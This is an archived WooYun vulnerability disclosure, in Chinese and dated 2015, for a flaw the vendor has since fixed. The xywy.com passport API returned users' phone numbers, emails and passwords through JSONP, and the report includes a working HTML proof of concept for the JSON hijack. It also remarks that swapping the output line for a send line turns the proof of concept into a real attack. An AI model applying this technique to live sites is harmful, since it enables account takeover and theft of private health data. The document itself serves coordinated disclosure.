破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

寻医问药接口验证不严可劫持获取任意用户手机号、密码

编号123836
Urlhttp://www.wooyun.org/bug.php?action=view&id=123836
漏洞状态厂商已经修复
漏洞标题寻医问药接口验证不严可劫持获取任意用户手机号、密码
漏洞类型CSRF
厂商寻医问药
白帽子jeary
提交日期2015-07-01 08:34:00
公开日期2015-08-11 14:27:00
修复时间2015-08-11 14:27:00
确认时间2015-07-01 00:00:00
Confirm Spend0
漏洞标签敏感接口缺乏校验 csrf csrf利用技巧
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank14
漏洞简介
我也不知道为什么密码会出现在json里!
漏洞细节

抓包时,过滤搜索到了这个接口

http://api.passport.xywy.com/n_userHeaderGet.php?callback=1&a=u&uid=60356754


x1.jpg


手机号、邮箱、密码、注册日期...全部在里面(PS:我没绑定邮箱)
不过这个接口有一个麻烦点,其中有一个uid参数,尝试去掉uid访问,结果为空。也就是说,查询了当前的uid并且验证了cookie,无法越权。
但是这并不影响,此问题可以达到指哪打哪的效果,只是需要交互,然而这并不难。

x2.jpg


你可以任意挑选一个人审查元素得到他的uid构造链接。
POC:(PS:测试POC需要将uid改成自己或需要攻击的人)
真实场景下,将输出语句改成发送语句即可~~

<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-1.9.1.min.js"></script>
<meta charset="GBK">
<title>POC</title>
</head>
<body>
<p>result:</p>
<script>
$.getJSON('http://api.passport.xywy.com//n_userHeaderGet.php?a=u&uid=60356754&callback=?',function(json){
document.body.appendChild(document.createElement('p')).innerHTML=json.username+"<br/>"+json.insert_data+"<br/>"+json.userphone+"<br/>"+json.passwd;
})
</script>
</body>
</html>


POC

x3.jpg


获取的密码可以成功登陆他人账号,导致用户敏感信息,健康档案、曾咨询的病情等。
危害较大,求不小厂商。

修复方案

瘦子快给我发礼物!

状态信息 2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认,细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-11: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复感谢jeary小骚年近日来对寻医问药网的支持,定向csrf攻击成本个人认为还是很高的,但因为涉及到重要数据,所以给高危。
回应信息危害等级:高漏洞Rank:14 确认时间:2015-07-01 09:16
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

@Me_Fortune json劫持吧?@寻医问药

BMa02015-08-12 15:21:00

良心厂商

Me_Fortune02015-08-11 20:13:00